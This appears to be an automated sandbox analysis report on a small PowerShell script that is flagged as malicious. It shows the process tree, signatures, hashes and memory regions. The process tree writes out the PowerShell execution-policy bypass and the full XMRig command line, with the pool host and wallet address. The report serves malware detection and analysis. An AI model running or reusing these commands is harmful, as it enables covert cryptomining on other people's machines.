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Analysis

  • max time kernel
    1797s
  • max time network
    1798s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22-05-2024 03:51

General

  • Target

    file01 - copia (8).ps1

  • Size

    510B

  • MD5

    2dcb4d51653aec1a829f3232d69f5e12

  • SHA1

    dd096e7d800b9f3ca0edc64955b4464d71789f80

  • SHA256

    d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c

  • SHA512

    7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 61 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (8).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2804
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4192

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e30qb1s0.riw.ps1
    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
    Filesize

    5.9MB

    MD5

    1417e59e62779a879aa642fa6cd33b00

    SHA1

    a1466aa74e342bf78f9ed1afc07681352693ab7a

    SHA256

    e711e8e3815583d88403187b8183ee0ec009393468adf2433e402ce5a5ea6e54

    SHA512

    d1116b5e84758bbe154306c9387861b53e823eb59d1a5d45d7308e95f97d26a76e569f7409a16cb7826deb84103de9ef651e313b37384da2bb1c188f7ab27260

  • memory/2804-10-0x00007FF8C32C0000-0x00007FF8C3CAC000-memory.dmp
    Filesize

    9.9MB

  • memory/2804-5-0x00000195461D0000-0x00000195461F2000-memory.dmp
    Filesize

    136KB

  • memory/2804-6-0x00007FF8C32C0000-0x00007FF8C3CAC000-memory.dmp
    Filesize

    9.9MB

  • memory/2804-9-0x0000019546380000-0x00000195463F6000-memory.dmp
    Filesize

    472KB

  • memory/2804-96-0x00007FF8C32C0000-0x00007FF8C3CAC000-memory.dmp
    Filesize

    9.9MB

  • memory/2804-25-0x00007FF8C32C0000-0x00007FF8C3CAC000-memory.dmp
    Filesize

    9.9MB

  • memory/2804-61-0x0000019546370000-0x000001954637A000-memory.dmp
    Filesize

    40KB

  • memory/2804-48-0x0000019546400000-0x0000019546412000-memory.dmp
    Filesize

    72KB

  • memory/2804-93-0x00007FF8C32C3000-0x00007FF8C32C4000-memory.dmp
    Filesize

    4KB

  • memory/2804-94-0x00007FF8C32C0000-0x00007FF8C3CAC000-memory.dmp
    Filesize

    9.9MB

  • memory/2804-95-0x00007FF8C32C0000-0x00007FF8C3CAC000-memory.dmp
    Filesize

    9.9MB

  • memory/2804-0-0x00007FF8C32C3000-0x00007FF8C32C4000-memory.dmp
    Filesize

    4KB

  • memory/4192-118-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-125-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-92-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-97-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-98-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-99-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-100-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-101-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-102-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-103-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-104-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-105-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-106-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-107-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-108-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-109-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-110-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-111-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-112-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-113-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-114-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-115-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-116-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-117-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-90-0x00000219CFC00000-0x00000219CFC20000-memory.dmp
    Filesize

    128KB

  • memory/4192-119-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-120-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-121-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-122-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-123-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-124-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-91-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-126-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-127-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-128-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-129-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-130-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-131-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-132-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-133-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-134-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-135-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-136-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-137-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-138-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-139-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-140-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-141-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-142-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-143-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-144-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-145-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-146-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-147-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-148-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-149-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-150-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-151-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-152-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-153-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-154-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-155-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-156-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB

  • memory/4192-157-0x00007FF6F9880000-0x00007FF6FA4B3000-memory.dmp
    Filesize

    12.2MB